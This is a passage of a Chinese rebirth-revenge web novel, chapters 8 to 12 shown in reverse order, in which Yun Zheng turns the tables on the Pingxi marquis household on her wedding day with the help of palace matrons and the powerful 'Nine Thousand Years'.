侯夫人更是厌恶,大声喝道,“云筝,你姗姗来迟,目无尊长,罚你跪祠堂。” “来人,押她过去。” 她先声夺人,气势汹汹,一招就想将云筝压制住。 她这次学乖了,不给云筝开口的机会,直接用武力强压。 云筝站着不动,冷眼看着扑过来的奴婢们。 季嬷嬷挡在前面,大声喝道,“谁敢?” 侯夫人看她的衣着打扮,已经猜到了她的身份,却故作不知。 “放肆,你是什么人?怎么敢如此放肆,还不快退下。” 她气势很足,大有将所有对手碾压下去的架式。 可惜,她遇到的是深宫中走出来的季嬷嬷,季嬷嬷见多了威严的贵人,侯夫人算哪根葱? 季嬷嬷举起一块令牌,“本官是坤宁宫的掌事嬷嬷,从五品。” 这话一出,大家都不能装糊涂了,纷纷站起来拜见。 在场的人除了平西侯夫妻外,其他人都没有官职,没有品级,都得敬着季嬷嬷。 侯夫人是二品诰命,品级在季嬷嬷之上,应该是季嬷嬷拜见她,但,季嬷嬷出自宫中,身后有帝后夫妻,让人深深忌惮。 “季嬷嬷,本夫人要管教儿媳妇,还请让开。” 季嬷嬷不但不让开,还厉声指责,“侯夫人,你糊涂啊。” 侯夫人愣住了,“什么?” 第12章 快开门,世子回来洞房了 梧桐院,张灯结彩,披红挂绿,布置的极为喜庆。 洞房,龙凤花烛照,本该是最幸福的时刻,一对新人却愁眉苦脸,心事重重。 叶宜蓁半躺在喜床上,一头乌发披落在鸳鸯戏水的枕头上,衬的小脸雪白如玉,楚楚可怜。 “江哥哥,我该怎么办?呜呜。” 江闻舟将她抱在怀里,心乱如麻,“别怕,有我在,谁都不敢轻视你,你将是平西侯府真正的女主人。” 按照他们的计划,将云筝娶进门就夺了她的嫁妆,将她软禁在后院,生死掌控在他们手里。 可,现在全乱套了,还得罪了九千岁。 叶宜蓁成了名义上的长嫂,身份尴尬,她最在意的名声也不好了。 “可,云筝……” 江闻舟满腔的怒火无处发泄,“她再嚣张又如何,还不照样乖乖进我江家的门,但我绝不会多看她一眼,我的妻子只有你,没有别人。” 不被爱的才是破坏者!终有一日,他要拨乱反正! 叶宜蓁主动扑进他怀里,泪中带笑,我见犹怜。 “江哥哥,你对我太好了,老天爷对我实在不薄,能遇到你,是我一辈子最大的幸运。” 温香软玉在怀,江闻舟心猿意马,欺身而上,将女人压在身下。 “蓁蓁,春宵一刻值千金,我们歇下吧。” 叶宜蓁含羞带怯,“江哥哥。” 两人滚成一团,一件件衣衫掉落在地,一室的香艳旖旎。 就在此时,砸门声响起,“怦砰砰。” 蓄势待发的江闻舟浑身一颤,无力的倒在女人身上,又气又怒,是谁这么可恶? 打扰别人洞房,是不道德的。 不会是云筝吧?她苦等他不来,就跑来砸门? “给我轰出去,让她滚……” 一道怒喝声在门外响起,“孽障,你怎么还在这里?” 两人吓了一跳,江闻舟立马翻身而起,忙乱的捞起衣服披上。 “父亲,今晚是我的洞房花烛夜,您怎么来了?” 平西侯怒气冲冲的喝道,“赶紧回春晓院,别让云筝久等了。” 他糊涂啊,这种时候应该安抚云筝,将她哄的神魂颠倒。 江闻舟不是不懂,但,咽不下这口气,“我不去!” 叶宜蓁心中恨极,洞房之夜新郎被拉走,这是奇耻大辱。 但,当着平西侯的面,她不敢说什么,还要装乖。 “江哥哥,父亲是为了你好,你就听父亲的话吧,我受点委屈没关系的。” 她越是这么说,江闻舟越心疼她,“父亲,您别劝了,我要给云筝一个下马威。” “我要让全府上下都知道, 被夫君冷落的女人,不配得到尊重,她也没有底气再跟我们叫嚣。” 新婚之夜,夫君不入洞房,对新嫁娘来说,是莫大的羞辱。 全府上下都不会把她当一回事。 平西侯面如沉水,想法不错,但情势比人强,“宫中来人了。” 江闻舟脸色大变,“什么?” 平西侯冷冷的喝道,“你为了一个女人得罪九千岁,我还没有找你算帐,若再得罪宫中,世子之位该换人坐了。” 一听这话,江闻舟立马怂了,怕了,“我去。” 他穿好衣服,打开房门走出去,但脸色不好看。 平西侯轻轻叹了一口气,“你要记住,你是平西侯府的世子,要忍常人所不能忍,成常人所不能成。” “是,父亲。”江闻舟咬牙忍了。 平西侯拍了拍儿子的后背,“哄好她,让她心甘情愿将银子和玉玦双手奉上,榨干她的一切,助你青云直上。” “到了那时,无论你想做什么,父亲都支持你。” 江闻舟眼睛一闪,“是。” 临走前,江闻舟回房抱着叶宜蓁哄了又哄。 叶宜蓁窝在他怀里哭的极为伤心,“江哥哥,一想到你要跟那个女人同床共枕,我心里就如千刀万剐,呜呜。” 江闻舟心疼万分,“蓁蓁,你放心,不管发生什么事,我心里只有你。” 安抚了半天,他依依不舍的离开。 看着男人远去的身影,叶宜蓁暗暗发狠。 今日的奇耻大辱,他日百倍奉还。 忽然,一道黑影闪身进来,匍匐在她脚下,“主子,任务改了。” 江闻舟带着小厮怒气冲冲来到春晓院,他决定要给云筝一个毕生难忘的经历! 先羞辱一顿,将她的嚣张气焰打下去,再在床上折磨她…… 结果发现,院门关了! 他不敢置信的看着紧闭的院门,怒火蹭的上来了,一脚踢向院门,嘶,脚疼。 小厮立马上前砸门,“开门,快开门,世子回来洞房了!” 院内,大家齐刷刷的看向云筝,鸦雀无声。 开,还是不开? 云筝静静的站着,无数往事在脑海里闪过。 前世,她苦等一夜,江闻舟和叶宜蓁在梧桐院鸾颠凤倒,第二日,她受尽了屈辱。 自始至终,她都是平西侯府掠夺钱财的工具人,没有得到半点尊重,被人嘲笑,被人欺辱。 而今生,江闻舟居然跑过来了,呵呵。 一切都不一样了,她相信,未来也会改变的。 不见开门,江闻舟恼羞成怒,在外面破口大骂。 越骂越难听,连云筝的父母都被问候了。 云筝眼神一冷,冲李嬷嬷招了招手。 “世子喝多了,倒些洗脚水,让他醒醒酒。” 李嬷嬷算是彻底明白,这是彻底决裂,没打算和好。 “您考虑清楚了吗?世道多艰,对女子更是苛刻。” 其实,没必要闹的这么僵,先虚与委蛇,等有了孩子,去父留子,再将孩子扶起来,继承平西侯的爵位。 到时,她就是平西侯府的老太君,说一不二。 可,云筝不想委屈了自己。“去吧。” 李嬷嬷无声的叹息,罢了。 院外,江闻舟气的暴跳如雷,又是怒骂,又是踢门,无能狂怒。 他已经委屈求全跑来跟她洞房了,她怎么还这么对他? 可恶至极! 就在此时,门开了。 江闻舟心中一喜,“现在开门有什么用?晚了,本世子绝不会跟你这种商贾之女同床共枕,我嫌你一身铜臭味……” “怦。”一盆水泼过来,江闻舟猝不及防,被泼了个正着,溅了一身。 水滴顺着发梢往下,流进张开的嘴里,一股臭味在鼻端萦绕,江闻舟彻底破防了。 啊啊啊,他要疯了! “云筝!你死定了!” 第11章 立威 来的是两位老嬷嬷,一名姓郑,一名姓李,头发梳的整整齐齐,神色严肃,言行举止一丝不苟,像是尺量出来的,看着就不好相处。 “奴婢奉皇上之命前来侍候小姐,为期五年。” 云筝微微蹙眉,“才五年?” 几百万银子只能保五年性命?皇上也太小气了。 “不知两位嬷嬷是在哪里当差?” 郑嬷嬷躬身行礼,语气严肃,“奴婢是坤宁宫的掌事嬷嬷,从五品。” 李嬷嬷躬身行礼,“奴婢是慈宁宫的掌事嬷嬷,从五品。” 一个是太后宫中的,一个是皇后宫中的。 也算是有头有脸的,但不是主子身边最受宠的,这不,得罪了人,就被推出来接了这苦差使。 临出宫时,主子还特意叮嘱,不仅要保护云筝,还要管教她,让她安分守己,别再闹腾,勋贵和朝廷丢不起这个脸。 她们是在宫中混了几十年的人精,还有什么不明白的?是让她们给云大小姐上点规矩! 就在她们琢磨怎么管教这位云家大小姐时,一道轻笑声响起。 “以后要仰仗两位嬷嬷了。” 云筝直接甩出两沓银票,“这是见面礼,请两位收下。” 一沓一千两,两沓就两千两,摆在眼前挺刺激人的。 纵然见多识广的两嬷嬷,看到这么多银票也倒抽一口冷气,看云筝的眼神都不一样了。 财神娘娘啊。 别看她们是宫中出来的,但宫中的繁华不是她们这些奴婢的,她们一年的俸禄是120两银子, 但平时开销打点人情,攒不下几个钱。 一千两需要攒个二十年。 “多谢大小姐赏赐。” 云筝没想着跟她们套交情,拉关系,没必要。 初次见面能有什么感情?成年人只谈交易。 “月银100两,一季四套衣服,四套首饰,每年年底一个大红包,五年期满,送一套房。” 天下熙熙,皆为利来;天下攘攘,皆为利往。注(1) 她给不了权,但,她有钱,拿钱砸人呗,有钱能使鬼推磨。 “而你们,只需要成为我手中的剑,指哪打哪。” 两嬷嬷的心怦怦狂跳,相视一眼。 宫中尔虞我诈,明争暗斗,连水都不敢放心的喝,晚上不敢安心睡,生怕一睁眼就卷入宫斗中,瞬间没命了。 看着风光,其实朝不保夕。 在宫外,虽然没有那么风光,但安稳啊。 两人福了福身体,表忠心,“以后,老奴唯大小姐马首是瞻,” 云筝嘴角轻轻上扬,“很好,可惜,只有短短的五年。” 收服这两个老嬷嬷是第一步,她们从某种程度上代表着宫中,侯府也要让三分。 拉大旗作虎皮,是她眼下要做的。 两嬷嬷相视一眼,心态完全不一样了。 出宫时恋恋不舍,想早点回宫,可这会儿只想多留一段时间。 绝对不是为了银子,是因为新主子仁慈宽厚! 云筝觉得能用钱解决的,都不算什么事。 “若我活着,就为两位老嬷嬷养老。” 两嬷嬷神色一怔,不约而同的看向她。 李嬷嬷的声音微颤,“您此话当真?” 她们入宫后便与家人隔绝,年老后便遭遗弃,任由她们自生自灭。 别看她们在宫中混的不错,但在贵人眼里,就是阿猫阿狗,随手就能丢弃,怎么会为她们考虑养老问题。 她们这些人最怕的就是,年老后无处可依,死后无葬身之地。 云筝神色严肃,“当真,我说话算话,若有半句谎话,天诛地灭。” 两人的眼眶湿润了,为了这句话,为了自己以后有一个安详的晚年,拼了。 两人不约而同的跪下来,“主子,老奴愿为您肝脑涂地,在所不辞。” 刚才是大小姐,如今是主子,一个称呼却代表着不同的含义。 云筝敏锐的察觉到了,微微扬眉,这一刻,才算是真正收服她们。 “郑嬷嬷,内务全归你管。” 郑嬷嬷看着一众奴婢,这规矩有点松散啊,她拍着胸口保证,“主子放心,老奴一定将他们管的妥妥贴贴。” “李嬷嬷,外务就交给你了。” “是,老奴办事,您放心。” 云筝喝了一口蜂蜜水润润喉,“你们对今日发生的事,怎么看?” 两嬷嬷对视一眼,心思飞转。 来之前,她们已经打听清楚了,大为震撼,这双方行事都好疯,全不是省油的灯。 但此时,最重要的是揣度主子的心思。 是彻底跟侯府决裂?还是,通过谈判去除情敌,成为侯府女主人? 这不同的心思,就需要不同的方案。 郑嬷嬷试探的开口,“平西侯老糊涂了,侯夫人是个拎不清的,世子既要又要,过于贪婪……” 云筝嘴角微微扬起,一边的春兰忍不住了,大声喝止,“嬷嬷慎言,世子温文尔雅,才貌双全,是个好的……” 郑嬷嬷嘴角抽了抽,“你是谁?” 春兰昂着脑袋,恃宠而娇,“我是小姐的陪嫁丫鬟,春兰。” 能在宫中混出头的都是人精,郑嬷嬷见云筝神色淡淡的,心中有数了。 “你一个丫鬟,没主子允许怎么敢擅自插嘴?以下犯上,不尊主子,打十板子,来人,拖下去打。” 粗使嬷嬷上前,按住春兰,春兰吓白了小脸,惊恐不已。 她从来没受过皮肉之苦。 “我没有不尊主子,我是为了主子好,主子,我对您一片忠心,您是最清楚的。” 她急急的求救,“主子救我。” 云筝把玩着玉镯,像是没听到。 季嬷嬷看在眼里,懂了,这杀鸡儆猴的鸡有了。“念你初犯,只打十板子长长记性,若再犯……发卖。” 季嬷嬷将所有奴婢叫过来,一起观刑。 “啪啪啪。”一下又一下,皮开肉绽。 春兰只觉得身体如裂开了般,疼的死去活来,涕泪横流。 一声声惨叫,凄厉无比,把所有人吓的够呛,瑟瑟发抖。 季嬷嬷冷冷的看着,“大家记住,你们的主子只有一人,那就是云家大小姐。” 她明白,自己就是云筝手中的刀。 一名陪房小心翼翼的开口,“那,侯府……” 女子嫁了人,就是夫家的人。侯府发话,他们总要听吧。 季嬷嬷冷着一张老脸,气势十足。 “你们的卖身契捏在大小姐手里,想要另攀高枝,也要惦量一下新主人能不能保住你们全家老小。” 看着被打的鲜血淋漓的春兰,大家忽然明白过来了,这是立威,也是在告诉所有人。 就算嫁进侯府,他们依旧是云筝的人,别有二心,否则这就是下场。 若想出卖云筝的利益,投奔侯府,那就是自寻死路。 云筝满意的看着这一幕,有能干的帮手,她就省心多了。 这么一整顿,大家的小心思歇了,侯府的权势更好,也得有命享,是吧? 云筝仰头看了看天色,“把院门关了,我要休息了。” 春杏呆了呆,下意识的问道,“不等世子了?” 云筝淡淡瞥了她一眼,她只觉得后背一凉,立马疯狂摇头,“我这就去关门,立刻,马上。” 院门关了一会儿,外面就传来动静。 疯狂敲门声响起,“开门,快开门,世子回来洞房了!” 院内,众人傻眼了,齐刷刷看向云筝。 云筝呵呵一笑,洞房是假,闹事是真吧? 行,谁怕谁呀? “来人,去准备用过的洗脚水,越脏越好。” 第10章 原来,她早就有了异心 春晓院,位于侯府最偏远的角落,两进的院子虽大,但装饰的很普通,连龙凤花烛用的也是市面上的便宜货。 就一个字,敷衍! 云筝看着熟悉又陌生的环境,忍不住叹气。 这还不如平民百姓婚嫁体面,平西侯府外面光鲜,内里精穷,当然,也是不重视。 相比之下,叶宜蓁的梧桐院就不一样了,库存的好东西都在那里堆着。 云筝没有进喜房,而是站在院子里,吩咐下去,“把东边三间房收拾出来,今晚我要住。” 众人一愣,什么意思? 这洞房花烛夜,新郎没来,新娘要拆了洞房?这日子真的不过了吗? 陪房小心翼翼的开口,“小姐,这样不好吧,要不,跟世子商量一下?” 云筝出嫁带了四家陪房,四个贴身丫环,八个小丫环,一共三十六人。 所有人都是精挑细选,陪房精明能干,丫环极有眼力见。 “不用,动作快点,我累了,要休息了。”云筝一反过去的温和,非常强势,下人们不敢反驳。 陪房们忙着收拾嫁妆和屋子,忙的不可开交。 四个贴身丫环围在云筝身边,端水送茶。 云筝懒洋洋的靠坐在椅子上,喝着最顶级的血燕窝,吃着香甜的八珍糕,忍不住喟叹,这才是人生! 前世嫁进侯府的十年,嫁妆被夺,下人被遣散,身边只剩下一个春华侍候,主仆俩吃不饱穿不暖,受尽了磨难。 这辈子她是一点苦都不想吃! 她闭上眼睛反复复盘,跟侯府撕破脸,从宫中借人,暂时保住了性命,掌握了一定的话语权,保住了一半的嫁妆。 但,侯府不会善罢甘休。 那又如何?她也不会放过侯府! 他们之间,你死我活,注定只能活一个! 春华看着洞房内穷酸的摆设,忍不住嘀咕了一句。 “侯府也太不尊重人了,不知道的还以为市井小民娶亲呢。” 她不信,叶氏的洞房也如此不体面。 身边的春兰眼睛一瞪,没好气的轻斥,“春华,别胡说,如今小姐成了世子夫人,身份尊贵,跨越了好几个阶层,云家以后也跟着沾光,我们要心存感恩。” 她是云筝身边最得宠的丫环,长相清秀,浑身绫罗绸缎,被养的像个娇小姐。 云筝看了过来,眼神凉凉的。 春兰没有发现,一副为主子着想的模样,“小姐,恕奴婢胆斗多说一句,您今日行事太过了,怎么能不给夫家面子?夫贵妻荣,世子好,您才能好。” 若是以往,云筝只当她是一心护主,可这会儿,眼中满是冷意。 前世,春兰背主爬了江闻舟的床,闹开后,她倒了大霉,万夫所指,都骂她心机重,自己栓不住男人,就指使丫环爬床。 关键时刻,春兰还供认不讳,口口声声说,是云筝安排的。 她百口莫辩,生了一场大病,还被叶宜蓁狠狠羞辱。 “听上去有几分道理。” 原来,春兰早就有了异心! 春兰心中暗喜,越发来劲,“世子和夫家不待见,您以后可怎么办呢?哎,听奴婢一句劝,伏低做小,想办法讨好世子和公婆。” 侯府是高不可攀的勋贵,自家主子能嫁进侯府,是上辈子烧了高烧,可她不懂珍惜,当众让世子难堪,哎。 云筝拔下红宝石珍珠凤钗,漫不经心的拿在手里把玩,“哦,怎么讨好?” 春兰想着世子英俊潇洒的模样,心里小鹿乱撞,粉颊飞红。 “我们云家最不差的就是银子,多送点银子给他们,不过,要注意方式,不能直接送,不体面。” 她一想到今日跟世子拜堂成亲,春心荡漾,她是世子的女人了,福气还在后头呢。 为了世子,她什么都愿意做。 “奴婢愿为您分忧,帮您四处送银子,讨好各位主子,只求换您能在侯府顺利立足。” 她嘴上说的好听,是为了云筝着想,其实是打着小算盘。 春华眉头微皱,总觉得这话哪里不对,但一时又不知怎么反驳。 春兰指着嫁妆清单上的东西,“光是送银子太庸俗,再送些礼物。” “这一套酒樽送给侯爷,这套红宝石头面送给侯夫人,这块暖玉送给世子最合适。” 酒樽十二件,是最好的汉白玉制成。 赤金镶红宝石龙凤呈祥头面,三十八件一套,颗颗都是世间难寻的红宝石,拇指大小。 暖玉冬暖夏凉,滋养身体,是最佳的养身之物。 每一样都是价值连城的宝贝,却被春兰一个奴婢借花献佛,轻飘飘的送出去,成了她的人情。 云筝不禁气笑了,这是把主子的东西当成自己的,脸呢?“来人,掌嘴。” 春华不假思索的一巴掌打过去,啪一声,打在春兰娇嫩的脸上,五指印浮了起来。 春兰虽是丫环,但从小跟在云筝身边,娇生惯养,没受过一点苦,当场就红了眼眶。 “小姐,奴婢到底哪里说错了?奴婢不服。” 云筝冷冷的看着她,慈不掌兵,义不掌财,云家就是太仁慈了,惯出了白眼狼。 “不服?你一个小小的奴婢居然质问主子?看来是我待你们太好了,好到你们看不清自己的身份。” 下人们齐刷刷看过来,脸色都有些慌。 “我……”春兰脸色一白,浑身发抖,这才清醒了几分。 是,她只是一个小小的奴婢,生死都掌握在主子手里。 她所依仗的,只是云筝的宠爱。 没有云筝,她什么都不是。 她扑通一声跪倒在地,眼泪滚落下来,“小姐,我是为了您好啊,绝无二心。” 云家向来宽厚,鲜少处罚下人,把这些人养的不知天高地厚。 云筝神色淡漠,打定主意要杀鸡儆猴,“为主子做主的奴婢,我可不敢要,别忘了,你的卖身契在我手里,随时能发卖。” 如一盆冷水从头浇下,春兰打了个冷战,不敢置信,这是警告? 小姐变了,变的不仁慈,不善良了!太让她失望了! “小姐,我们从小一起长大,情同姐妹……” “啪。”春华一巴掌过去,大声喝斥。 “说什么鬼话,我们是买来侍候小姐的,是奴婢,你过了几年好日子,不会把自己当成主子吧?” 主子明显要立威,她自己找死就算了,别拖着他们一起死啊。 春兰眼珠乱转,不应该啊,难道是……嫉妒?“小姐,是因为我跟世子拜堂成亲惹您不高兴了?” 她委屈的不行,“可,那是您的命令啊,我也不想的,我一个未出嫁的女孩子,还想嫁个好人家。” 无疑,她是聪明伶俐的,一发现不对劲,立马表忠心,撇清关系。 云筝深深的看着她,刚想说什么,下人禀道,“小姐,宫中来人了。” 云筝精神一震,“请。” 春兰暗暗松了一口气,眼神闪闪烁烁,不知在打什么主意。 云筝全看在眼里,无声的叹息,这丫头不能留了…… 第9章 打脸来的这么痛快! 九千岁一怒,莫不胆寒,没人敢站出来求情。 看仇人倒霉,云筝心中畅快极了,对九千岁多了几分好感。 “云家女,见过九千岁,愿千岁无忧,无灾无难。” 厉无恙微微挑眉,“云筝?” 云筝落落大方的行礼,不卑不亢,“是。” 厉无恙深深的看了她一眼,“听说,你要将另一半嫁妆送给本王?” 云筝神色坦然,“是,请稍等。” 她让人拿来文房四宝,写下一封遗书,明明白白的写着,若她忽然暴毙,就将另一半嫁妆送给九千岁。 口说无凭,落笔为证。 她双手呈上,“这是文书,这是嫁妆清单,若我哪天暴毙,请九千岁拿着这两样东西前来接收嫁妆。” 她行事太过洒脱,仿佛这是最平常之事,可,要知道,这是几百万的财产易主。 大家的心情很复杂,羡慕,嫉妒,又有些惆怅。 厉无恙扫了一眼,她的字秀丽隽永,又饶有筋骨之力,一手好字。 “你就不怕本王动了坏心思?” 为了霸占这一笔巨款,派人暗杀她。 云筝一双眼睛晶晶亮,满眼的信任,“不会,您是心思坦荡之人。” 其实,前世今生,他们都有渊源。 他,是她的敛尸人! 就冲着这一份恩义,送他万贯家财也是值得的! 而且……他们数年前有一面之缘! 她明晃晃的信任让厉无恙愣住了,心底升起一丝莫名的漪涟。 世人皆惧怕他,畏他如虎,唯有她,傻乎乎的信任他。 可,她明明不傻啊。 他挑了挑眉,“你这马屁拍的不行。” 云筝也不介意,笑容明媚,“求九千岁开恩。” 厉无恙看着她讨喜的笑脸,心中微动,随手扯下腰间的玉玦,扔过去。 “遇到难处,可拿此物来王府求助,但,只此一次。” 云筝接住玉玦,看着上面的皇室图案,顿时喜笑颜开,“谢王爷,您会有好报的。” 众人羡慕嫉妒恨,原来九千岁吃这一套! 早说嘛,他们也很会拍马屁!!! 九千岁,求看看我们! 平西侯瞳孔一缩,不敢置信。这哪是信物,分明是保命符! 云氏好运道,居然能让九千岁保她! 哪怕只有一次,也足够幸运。 就在此时,外面传来江闻舟惊惶不安的声音,“父亲,蓁蓁危在旦夕,有什么事以后再说……” “啪啪。”两道巴掌声猛的响起。 江闻舟不敢置信的看着眼前的贵妇人,“母亲,您打我?” 从小到大,她从未动过他一根手指头。 侯夫人向来最娇惯儿子,但,这会儿冷冷的瞪着他,恨铁不成钢。 “就算叶宜蓁今日死了,你也得跟云筝拜堂成亲。” 不管如何,都要哄的云筝用玉玦帮儿子重新回到朝堂,用嫁妆帮他铺路,送他平步青云。 江闻舟脸色发白,张了张嘴,但父母的脸色太难看,他不敢再吭声。 平西侯深吸一口气,当机立断的表态。 “筝儿,吉时耽误不得,拜堂成亲吧,我向你保证,你才是平西侯府唯一的世子夫人,叶宜蓁只是长房长嫂,是一个摆设。” “你嫁进来后就能执掌中馈,家里上上下下都听你的。” 云筝心思飞转,别人稀罕中馈管家大权,她可不稀罕。 “世子这么为难,不如,这婚事就此作罢吧。” 事已至此,平西侯是不可能放她离开的。 她还活着,一半的嫁妆还能用。 最重要的是,她还有九千岁的玉玦。 “你进了侯府的大门,已经是侯府的人,这婚事板上钉钉,无人能更改。” 除非,是双方都愿意退婚,否则,就算皇上也不能插手。 云筝抚着玉玦,心潮澎湃。 换脱离侯府的机会吗?不,不行,皇上不能插手的事,九千岁也不能。 这对最尊贵的天家兄弟,其实……有着太复杂的爱恨情仇。 她不能为了一己之私,引起皇上的猜忌之心,不能害了九千岁。 而且,她还有更重要的事情求九千岁。 罢了,只要活着,就有机会。 “行吧,不过,我身体不适,行动不便,就让我的丫环抱着母鸡跟世子拜堂成亲吧。” 她是绝对不会跟那个狗东西拜堂的,嫌恶心。 宾客们哄堂大笑,她是真的记仇,而且,有仇必报,都不带隔夜的。 侯府的人脸色很难看。 江闻舟更是气炸了,“云筝,你欺人太甚,你怎么敢这么羞辱我?” 云筝神色平静无波,“你怎么对我的,我就怎么对你,很公平,不是吗?” “什么公平?我是男人,是你的夫君,是你的天,你得尊着敬着……”江闻舟面色通红,不知是气的,还是怒的。 云筝眼珠一转,笑眯眯的开口,“要不,婚约取消?” 如一盆冷水从头浇下来,江闻舟被浇了个透心凉,“你……” 平西侯偷偷看了九千岁一眼,心中七上八下。“九千岁,您看?” 厉无恙眼神凉薄至极,“你儿子能让小厮抱公鸡拜堂,云小姐怎么就不能让丫环抱母鸡拜堂?做人要公平些,别总是仗势欺人。” 宾客们都懂了,同情的看着平西侯父子。 平西侯大受刺激,一口老血差点吐出来,硬生生的咽回去。 “好,就这么说定了。” 云筝目光一转,看向院落中,她的陪嫁丫环和陪房都被控制住了。 “春兰、春华、春桃、春燕,你们是我最信任的贴身丫环,谁愿意为我分忧?” 四人相视一眼,神色各异。 两个丫环不约而同的开口,“奴婢愿意。” 是春兰和春燕。 云筝深深的看了她们一眼,“就春兰吧。” 被点名的春兰喜上眉梢,而春燕眉眼染上一丝幽怨。 云筝全看在眼里,一颗心往下沉。 原来,一切早就有迹可循。 喜堂前,春兰抱着一只母鸡,站在江闻舟身边。 一个春风满面,一个面色漆黑,像是参加自己的葬礼。 礼官嘴角抽了抽,这都什么破事啊,传出去就是天大的笑话。 他扬声道,“一拜天地。” 春兰身体一弯,拜了下去,但,江闻舟站着不动。 “世子,世子。” “江闻舟。”平西侯怒喝一声。 江闻舟浑身一颤,不情不愿的弯下身体。 无尽的屈辱涌上心头,这一刻,他眼角殷红,恨意在心底深处燃烧。 一边围观的云筝嘴角疯狂上扬,痛快,太痛快了,你们也有这么一天! 这仅仅是个开头! “二拜高堂。” 堂上平西侯夫妻,堂下平西侯世子,脸色都奇差,谁都接受不了这样的屈辱,但,不得不咬牙忍着。 他不敢想象,世人会怎么评价他,皇上会怎么看? “夫妻对拜。”江闻舟不得不弯下高贵的头颅,手心都掐出血了。 这是他一生最羞辱的时刻,堂堂平西侯世子被逼跟一只母鸡拜堂成亲! 他这辈子都不用见人了! 他抬起头,冷冷的看向那个红衣少女,云筝。 都怪她! 他发誓,一定要让她生不如死,以报今日之耻。 云筝不闪不避,眼神清亮,嘴角微勾,露出一抹嘲讽的弧度。 废物!孬种! “轰隆隆”江闻舟脑袋炸开了,她居然敢嘲笑他! 啊啊啊,他要杀了她! 这一切全落入厉无恙眼中,嘴角勾起一丝淡笑,充满了戏谑和玩味。 这漫长无趣的人生,终于遇到一个有趣鲜活的人。 不如,推波助澜一下? 第8章 他来了!颤抖吧! 一群人簇拥着轮椅上的男人站在门口。 轮椅上的男人一袭黑衣如墨,玉簪束发,面如白玉,黑眸深邃锐利,矜贵淡漠,又透着一股上位者的威严。 九千岁!所有人倒抽一口冷气,纷纷跪倒在地。 “见过睿亲王殿下,千岁,千岁,千千岁。” 厉无恙环视四周,目光所到之处,众臣莫不低头,不敢跟他对视,瑟瑟发抖。 这是活阎王,性情阴郁,喜怒无常,一出手就是雷霆一击,非死即残。 在一众人群中,那个红衣少女显得与众不同,她很美,美的张扬艳丽,像一朵盛开的牡丹花,国色天香。 但最特别的是,那一双清澈如山泉的眼,干干净净,不害怕,也不谄媚,只有……追忆? 云筝微微抬头,看着眼前位高权重的九千岁,世人皆畏惧他,而她,只有怀念。 四目相对,一个凉薄冷漠,一个淡然从容。 云筝冲他微微一笑,肆意而又明媚,让人移不开眼。 厉无恙微讶,她是第一个敢直视他的女子,真的不怕他? “起来吧。” 众人起身,诺大的场合鸦雀无声,没人敢开口。 平西侯心里慌的不行,只要九千岁出现的地方,必有祸事。 但他是主人,只能壮着胆子问道,“九千岁,不知您大驾光临,有何贵干?” 厉无恙冷冷的看着他,“听说侯府公然违反朝廷法度,挑战皇权……” 他每说一个字,平西侯的脸色就白一分,肝胆欲裂。 这是来兴师问罪的? 江闻舟急出一身热汗,急急的否认道,“没有的事,都是谣言,九千岁,您被人耍了。” 平西侯暗叫一声不好,九千岁怎么可能有错?被耍这种话万万不能提。“闭嘴。” 但来不及了,厉无恙眼神冰冷的可怕,“平西侯,你养了一个好儿子,呵。” 无尽的威压,让平西侯的心巨颤,转身就是两巴掌,“啪啪,就你聪明,就你机灵。” “九千岁面前,哪里轮到你一个小辈插嘴,没规矩的东西,罚你跪三日祠堂。” 都是这混账东西惹出来的祸事,安安份份娶了云筝,人财兼收,可偏偏,他将情爱看的太重。 “九千岁,小儿被他娘宠坏了,年纪小不懂事,请您恕罪。” 厉无恙不开口,平西侯的巴掌就不敢停,一声又一声,震耳欲聋。 江闻舟脸都被打肿了,又疼又难过。 他这辈子从来没有这么难堪过,丢人丢到姥姥家了。 都怪云筝!谁让她不乖乖服从安排!非要闹,把这尊煞星闹来了! 他恶狠狠的瞪着云筝,云筝却一脸敬佩的看着九千岁。 权倾天下,让人望而生畏。轻轻一句话,就让平西侯满府吓破了胆子。 侯夫人心疼坏了,她就这么一个儿子。“夫君,孩子不懂事就慢慢教……” 厉无恙黑眸深沉如幽潭,“德不配位,必有灾殃。平西侯,本王记得你还有三个庶子。” 平西侯心中惴惴不安,这是警告?还是暗示?“是。” 侯府诸人脸色都变了,什么意思?世子之位可换人? 侯夫人的手一抖。 江闻舟吓出一身冷汗,扑通一声,跪在地上,重重磕了一个响头,头都磕青了。 但这个时候什么都顾不上了,只有一个念头,世子之位不能废。 “我错了,请九千岁责罚。” 他真的怕了! 夺爵都是九千岁一句话的事,更不要说世子之位。 但,他当不了世子,这辈子就毁了。 厉无恙淡淡的瞥了他一眼,江闻舟瑟瑟发抖,额头的汗珠如雨点般滴落。 就在此时,一道娇滴滴的声音响起。 “殿下,千错万错都是小妇人和弟妹的错,世子是无辜的,要罚就罚我们俩吧。” 是叶宜蓁,她款款走过来,盈盈一福,尽显曼妙的身段,脖子微微上扬,露出楚楚可怜的脸蛋。 每一个姿态,每一个眼神都是精心算计好的,最能打动男人的铁石心肠。 云筝气笑了,你耍心眼就算了,还非要拉上她当垫脚石。 “我没错!” “你展现自己善良贤惠的一面,来吸引男人们的注意,我可不参与,太掉价。” 众人:……太犀利! 叶宜蓁眼眶一红,泫然欲泣。 “弟妹,你冤枉我了,我没有,我心里眼里只有江哥哥一人。” 江闻舟感动不已,患难见真情,这世上只有蓁蓁是真心待自己。 但,厉无恙见过的后宫女子太多了,她们玩的花样数不胜数,这点手段哪里能瞒过他的眼睛。 “你这般轻浮,是哪家青楼的伎子?” 伎子?九千岁说是伎子,那就是伎子,不接受反驳。 全场鸦雀无声,想笑,但不好意思笑,憋着。 叶宜蓁眼前一黑,差点吐血,“我不是,我不是。” 她的名声全毁了,还怎么出去见人? “哈哈哈。”一声清脆的笑声响起。 是云筝,她笑的很张扬,很开心。 这可把叶宜蓁气的够呛,两眼充血。 “我们是一家人,看到我受辱,你就这么开心?你好恶毒。” 她恨不得将注意转移到云筝身上,模糊掉伎子这个标签,等过段时间,风头过了,这事也就过去了。 云筝一眼看穿她的打算,“谁跟一个伎子是一家人,丢人。” “云筝。”江闻舟暴怒。 云筝笑嘻嘻的道,“我知道,世子不爱正经女人,就好这一口,你们高兴就好。” 她越说越不像话,平西侯大声喝道,“行了,都别闹了。” 他心里暗暗叫苦,早知九千岁耳目灵通,但没想到这么灵通。 “九千岁,这是我夫人的外甥女,从小养在我们膝盖下,是个聪明乖巧的小姑娘,如今是我长子的妻室。” 厉无恙黑眸深沉如墨,看不出喜怒。“你长子真可怜。” 现场一静,啥意思? 